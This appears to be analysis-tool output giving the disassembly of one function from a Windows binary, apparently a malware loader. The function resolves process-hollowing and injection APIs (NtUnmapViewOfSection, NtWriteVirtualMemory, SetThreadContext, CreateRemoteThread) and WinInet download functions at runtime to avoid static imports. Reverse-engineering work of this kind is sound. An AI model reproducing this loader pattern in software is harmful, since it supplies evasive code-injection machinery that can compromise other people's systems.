Function at 0x140001000
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x1400035a4
push rbx
sub rsp, 0x20
lea rcx, [0x1400051d8]
call sub.KERNEL32.DLL_LoadLibraryW
mov rbx, rax
test rax, rax
je 0x140003c5e
lea rdx, str.sprintf
mov rcx, rax
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009178], rax
test rax, rax
je 0x140003c5e
lea rdx, str.strcmp
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009180], rax
test rax, rax
je 0x140003c5e
lea rdx, str.atoi
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009188], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtMapViewOfSection
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091e0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtUnmapViewOfSection
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091d8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091c8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtReadVirtualMemory
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
cmp qword [0x1400091c8], 0
mov qword [0x1400091d0], rax
je 0x140003c5e
lea rdx, str.ZwSuspendProcess
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091b8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtResumeThread
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091b0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtCreateSection
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091a8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtQueryInformationThread
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091a0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtSetInformationThread
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009198], rax
test rax, rax
je 0x140003c5e
lea rdx, str.NtQueryInformationProcess
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400091c0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.RtlUserThreadStart
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
lea rcx, str.KERNEL32.dll
call sub.KERNEL32.DLL_LoadLibraryW
mov rbx, rax
test rax, rax
je 0x140003c5e
lea rdx, str.ReadFile
mov rcx, rax
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009058], rax
test rax, rax
je 0x140003c5e
lea rdx, str.GetFileSize
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009060], rax
test rax, rax
je 0x140003c5e
lea rdx, [0x140005d90]
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009068], rax
test rax, rax
je 0x140003c5e
lea rdx, str.CreateFileMappingA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090e0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.CloseHandle
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090d8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.VirtualAllocEx
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009088], rax
test rax, rax
je 0x140003c5e
lea rdx, str.VirtualProtectEx
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009080], rax
test rax, rax
je 0x140003c5e
lea rdx, str.CreateFileA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009068], rax
test rax, rax
je 0x140003c5e
lea rdx, str._lwrite
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090e8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.OpenProcess
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009078], rax
test rax, rax
je 0x140003c5e
lea rdx, str.GetModuleFileNameA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090f0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.CreateProcessA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009110], rax
test rax, rax
je 0x140003c5e
lea rdx, str.WaitForSingleObject
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009100], rax
test rax, rax
je 0x140003c5e
lea rdx, str.TerminateProcess
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009108], rax
test rax, rax
je 0x140003c5e
lea rdx, str.DeleteFileA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090f8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.FindFirstFileA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090c0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.FindNextFileA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090b8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.FindClose
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090b0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.SetThreadContext
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009098], rax
test rax, rax
je 0x140003c5e
lea rdx, str.ResumeThread
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090a0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.GetThreadContext
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090a8], rax
test rax, rax
je 0x140003c5e
lea rdx, str.Sleep
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009090], rax
test rax, rax
je 0x140003c5e
lea rdx, str.CreateRemoteThread
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090d0], rax
test rax, rax
je 0x140003c5e
lea rdx, str.K32GetProcessImageFileNameA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009070], rax
test rax, rax
je 0x140003c5e
lea rdx, str.K32EnumProcessModulesEx
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009048], rax
test rax, rax
je 0x140003c5e
lea rdx, str.K32GetModuleFileNameExA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009050], rax
test rax, rax
je 0x140003c5e
lea rdx, str.CreateThread
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x1400090c8], rax
test rax, rax
je 0x140003c5e
lea rcx, str.user32.dll
call sub.KERNEL32.DLL_LoadLibraryW
mov rbx, rax
test rax, rax
je 0x140003c5e
lea rdx, str.MessageBoxA
mov rcx, rax
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009170], rax
test rax, rax
je 0x140003c5e
lea rdx, str.MessageBoxTimeoutA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009168], rax
test rax, rax
je 0x140003c5e
lea rcx, str.Wininet.dll
call sub.KERNEL32.DLL_LoadLibraryW
lea rdx, str.InternetOpenA
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009140], rax
test rax, rax
je 0x140003c5e
lea rdx, str.InternetOpenUrlA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009138], rax
test rax, rax
je 0x140003c5e
lea rdx, str.HttpQueryInfoA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009130], rax
test rax, rax
je 0x140003c5e
lea rdx, str.InternetReadFile
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009128], rax
test rax, rax
je 0x140003c5e
lea rdx, str.InternetCloseHandle
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009120], rax
test rax, rax
je 0x140003c5e
lea rdx, str.InternetGetConnectedState
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009148], rax
test rax, rax
je 0x140003c5e
lea rdx, str.DeleteUrlCacheEntry
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009118], rax
test rax, rax
je 0x140003c5e
lea rdx, str.InternetConnectA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009160], rax
test rax, rax
je 0x140003c5e
lea rdx, str.HttpOpenRequestA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009158], rax
test rax, rax
je 0x140003c5e
lea rdx, str.HttpSendRequestA
mov rcx, rbx
call sub.KERNEL32.DLL_GetProcAddress
mov qword [0x140009150], rax
test rax, rax
je 0x140003c5e
call fcn.140001808
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [0x140009108]
xor eax, eax
add rsp, 0x20
pop rbx
ret